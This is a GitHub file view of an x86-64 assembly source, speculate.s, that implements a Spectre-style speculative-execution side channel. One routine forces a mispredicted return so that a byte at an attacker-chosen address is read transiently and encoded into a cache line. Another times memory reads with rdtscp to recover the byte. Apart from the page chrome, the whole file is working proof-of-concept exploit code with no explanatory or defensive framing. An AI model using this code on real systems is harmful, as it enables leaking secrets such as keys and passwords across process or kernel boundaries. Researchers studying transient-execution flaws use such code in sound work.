-
Notifications
You must be signed in to change notification settings - Fork 9
/
speculate.s
41 lines (37 loc) · 857 Bytes
/
speculate.s
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
.file "speculate.s"
.intel_syntax noprefix
.text
.globl speculate
.type speculate, @function
speculate:
mfence
call herring
# Speculatively executed (because of herring's ret being mispredicted):
movzx eax, byte ptr [rdi]
shl eax, 12
movzx eax, byte ptr [rsi+rax]
herring:
# Lots of slow dependent instructions:
xorps xmm0, xmm0
sqrtpd xmm0, xmm0
sqrtpd xmm0, xmm0
sqrtpd xmm0, xmm0
sqrtpd xmm0, xmm0
# Using result of dependent instructions, adjust rsp to trick prediction of ret
movd eax, xmm0
lea rsp, [rsp+rax+8]
ret # Actually returns from speculate, but predicted as returning from herring
.globl timed_read
.type timed_read, @function
timed_read:
rdtscp
shl rdx, 32
or rax, rdx
mov rsi, rax
mov al, [rdi]
rdtscp
shl rdx, 32
or rax, rdx
sub rax, rsi
ret
.section .note.GNU-stack, "", @progbits